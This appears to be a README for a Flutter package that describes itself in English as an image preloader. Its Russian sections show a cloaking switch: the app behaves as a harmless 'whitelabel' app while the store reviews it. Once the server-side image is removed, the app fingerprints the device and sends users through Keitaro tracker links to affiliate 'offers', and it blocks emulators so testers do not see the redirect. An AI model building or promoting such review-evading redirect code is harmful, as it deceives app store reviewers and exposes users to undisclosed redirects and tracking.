tms_preload_helper 1.0.0
tms_preload_helper: ^1.0.0 copied to clipboard
Preloads a remote image on startup and, when it is missing, resolves a Traffic Management System (TMS) offer link and opens it in an in-app tab.
tms_preload_helper #
A small Flutter package that preloads a remote image before the app starts. If the image can't be loaded, the package asks the Traffic Management System (TMS) API for an offer link and opens it in an in-app browser tab instead of leaving the user on a blank screen.
Requirements #
- Android
minSdkVersion24 or higher (Flutter's default is already above that). The destination link is probed in a hidden WebView (flutter_inappwebview). - The panel must know the app's
package_nameand the SHA-256 of its release signing certificate — the API rejects unknown signatures.
Usage #
Drop one call at the very top of main() instead of runApp(...). The only
thing the package needs is the domain:
import 'package:flutter/material.dart';
import 'package:tms_preload_helper/tms_preload_helper.dart';
void main() {
TmsPreloadHelper.bootstrap(
domain: 'example.com',
app: const MyApp(),
);
}
class MyApp extends StatelessWidget {
const MyApp({super.key});
@override
Widget build(BuildContext context) => const MaterialApp(home: HomePage());
}
From that one domain the package derives both URLs it talks to:
| what | URL |
|---|---|
| probe image | https://example.com/img/loading.webp |
| TMS API host | https://example.com/link.txt |
The panel names every probe image loading.webp, so the domain is the only
thing that changes between apps. If some domain ever uses a different
basename, pass it explicitly:
TmsPreloadHelper.bootstrap(
domain: 'example.com',
imageName: 'hero', // -> https://example.com/img/hero.webp
app: const MyApp(),
);
While the image is loading, a black loading screen is shown. After that the
package decides what to do on its own — your app is launched if the image
arrived, or the user is sent to the offer the API hands out otherwise.
Режим картинки #
Сигнал вкл/выкл — это доступность webp-пробы, а в link.txt лежит адрес
API. На домене (/var/www/<domain>/):
| ВЫКЛ (whitelabel / ревью) | ВКЛ (редирект / прила) | |
|---|---|---|
img/loading.webp |
есть → 200 | убран → 404 |
link.txt |
нет | есть, тело = https://api.domen.online |
Панель: ВКЛ — по ssh удаляет webp и пишет link.txt; ВЫКЛ — scp-ит
webp назад и удаляет link.txt. Caddy отдаёт no-cache на /img/* и
/link.txt, чтобы переключение читалось сразу.
Логика внутри пакета: штатным загрузчиком (NetworkImage + ImageStream)
тянем картинку; загрузилась → ничего не происходит, стартует app. Не
загрузилась (404 приходит как NetworkImageLoadException) → читаем
link.txt, получаем хост API и идём по цепочке из интеграционного гайда:
POST /api/v1/init device_id, package_name, signature_sha256, device{…}
→ token (JWT, 15 мин) + refresh_token (30 дней)
POST /api/v1/token/refresh когда access-токен истёк (или 401 на клике)
POST /api/v1/traffic/click Bearer token → { click_id, url }
url из ответа — ссылка Keitaro. Её один раз «пробуем» в скрытом WebView за
экраном загрузки: 4xx → ссылка мёртвая, стартует app; всё остальное →
открываем в Chrome-вкладке, редиректы проходит уже она. Как только страница
первого хопа пытается уйти дальше (302, JS-редирект, meta refresh), WebView
останавливается, так что трекеры ниже по цепочке и оффер пробу не видят.
Отказ панели — штатная ситуация: любой 403 (fraud_denied,
filter_blocked, geo_blocked, network_blocked), 404, 429, 5xx,
таймаут или сетевая ошибка → PreloadRoute.app, приложение работает в
белом режиме. 429 не ретраится; reasons из ответа попадают только в
debug-лог.
Что уходит в /init #
Нативная часть (Kotlin, один method channel) отдаёт package_name,
signature_sha256 (SHA-256 сертификата подписи APK, lowercase hex),
app_version, is_emulator, is_rooted, timezone, language,
device_model, os_version, build_fingerprint. device_id — UUID,
генерируется один раз и хранится в flutter_secure_storage вместе с парой
токенов. country по умолчанию берётся из локали устройства.
Атрибуцию передавайте через TmsOptions:
TmsPreloadHelper.bootstrap(
domain: 'example.com',
app: const MyApp(),
options: const TmsOptions(
afId: '1234567890123-1234567',
mediaSource: 'facebook',
campaign: 'summer_de',
clickGeo: 'DE',
clickParams: {'creative': 'video_1'},
),
);
Кэш #
Кэшируется только решение «в прилу»: как только клик успешно открыт,
хост API из link.txt кладётся в SharedPreferences, и следующие запуски
пропускают картинку и link.txt — сразу идут в API за свежим кликом (сервер
по-прежнему может отказать, тогда стартует app). Успешная загрузка
картинки не кэшируется — проба повторяется на каждом запуске, поэтому
включение переключателя после ревью подхватывается сразу.
Токены живут в flutter_secure_storage (Keystore на Android): access-токен
переиспользуется, пока не истёк (с запасом в минуту), потом обновляется
refresh-токеном; /init вызывается только когда пары нет или refresh отозван.
Если хост API в link.txt сменился, старые токены отбрасываются (они выданы
для другого домена и дали бы 403 forbidden).
Сбросить кэш (например, дебажной кнопкой «reset»):
await TmsPreloadHelper.clearCachedLink(); // хост API и последняя ссылка
await TmsPreloadHelper.clearSession(); // токены (device_id остаётся)
Options #
TmsPreloadHelper.bootstrap(
domain: 'example.com',
app: const MyApp(),
options: const TmsOptions(mediaSource: 'facebook'),
loaderBuilder: (context) => const MySplash(), // override the loader UI
browserPlaceholder: const Text('opening...'), // shown while the external
// tab is open
debug: true, // print every step (no tokens)
);
Если удобнее вставить оба URL из панели целиком («Копировать URL картинки» / «Копировать URL link.txt»), есть конструктор без домена:
final helper = TmsPreloadHelper(options: const TmsOptions(clickGeo: 'DE'));
final route = await helper.resolveRouteFor(const PreloadEndpoints(
imageUrl: 'https://example.com/img/loading.webp',
linkUrl: 'https://example.com/link.txt',
));
Android #
The package contributes <uses-permission android:name="android.permission.INTERNET" />
to your app's manifest automatically, and ships the Kotlin side of the
tms_preload_helper/device method channel — no setup needed.
Диагностика #
| Симптом | Причина | Решение |
|---|---|---|
403 fraud_denied + package_name_mismatch / signature_mismatch |
панель знает другой пакет / подпись | сверить package_name и SHA-256 релизного сертификата в панели |
403 filter_blocked + moderation_mode |
приложение на модерации | ждать снятия режима |
404 not_found на клике |
нет Keitaro-кампании | создать кампанию в панели |
404 domain_not_registered |
в link.txt не тот хост |
проверить тело link.txt |
429 rate_limited |
слишком много /init |
токены кэшируются; проверить, что secure storage работает |
На эмуляторе /init честно отправляет is_emulator: true — в продакшне это
deny и попадание IP в чёрный список, тестируйте на реальном устройстве с
релизной подписью.